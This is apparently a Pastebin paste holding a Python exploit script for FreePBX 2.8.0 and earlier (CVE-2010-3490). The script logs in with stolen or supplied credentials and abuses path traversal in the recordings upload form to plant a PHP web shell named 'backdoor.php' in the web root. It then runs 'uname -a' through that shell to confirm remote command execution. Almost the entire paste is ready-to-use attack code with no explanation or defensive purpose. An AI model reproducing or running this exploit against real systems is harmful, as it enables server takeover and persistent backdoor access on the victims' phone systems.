Advertisement
Guest User

Untitled

a guest
Jul 16th, 2017
111
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.60 KB | None | 0 0
  1. import requests
  2. import random
  3. import string
  4. import sys
  5.  
  6. # Original advisory : http://www.exploit-db.com/exploits/15098/
  7.  
  8. print("devloop exploit for FreePBX <= 2.8.0 (CVE-2010-3490)")
  9. if len(sys.argv) != 4:
  10. print("Usage: {0} <url_to_freepbx_admin_directory> <username> <password>")
  11. sys.exit()
  12.  
  13. BASE = sys.argv[1]
  14. USER = sys.argv[2]
  15. PASS = sys.argv[3]
  16. KEYW = "devloop"
  17.  
  18. if not BASE.endswith("/"):
  19. BASE += "/"
  20.  
  21. sess = requests.session()
  22. creds = (USER, PASS)
  23.  
  24. r = sess.get(BASE + "config.php", auth=creds)
  25. if "Logged in:" in r.content:
  26. print("[+] Connection successful")
  27. else:
  28. print("[!] Unable to login... check credentials and url")
  29. sys.exit()
  30.  
  31. data = {
  32. 'action': 'recorded',
  33. 'display': 'recordings',
  34. 'usersnum': '../../../../../var/www/html/admin/{0}'.format(KEYW),
  35. 'rname': "".join([random.choice(string.hexdigits) for _ in xrange(10)]),
  36. 'Submit': 'Save'
  37. }
  38.  
  39. content = "<?php system($_GET['cmd']); ?>"
  40. files = {
  41. 'ivrfile': ('backdoor.php', content, 'application/octet-stream')
  42. }
  43. hdrs = {"referer": BASE + "config.php?type=setup&display=recordings"}
  44.  
  45. r = sess.post(BASE + "config.php?type=setup&display=recordings",
  46. data=data,
  47. files=files,
  48. auth=creds,
  49. headers=hdrs)
  50.  
  51. print("[i] Testing shell at address {0}{1}-ivrrecording.php".format(BASE, KEYW))
  52. r = requests.get(BASE + KEYW + "-ivrrecording.php?cmd=uname+-a", auth=creds)
  53. if r.status_code != 200:
  54. print("[-] Received HTTP code {0} for this url".format(r.status_code))
  55. else:
  56. print("HTTP 200 OK")
  57. print r.content
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement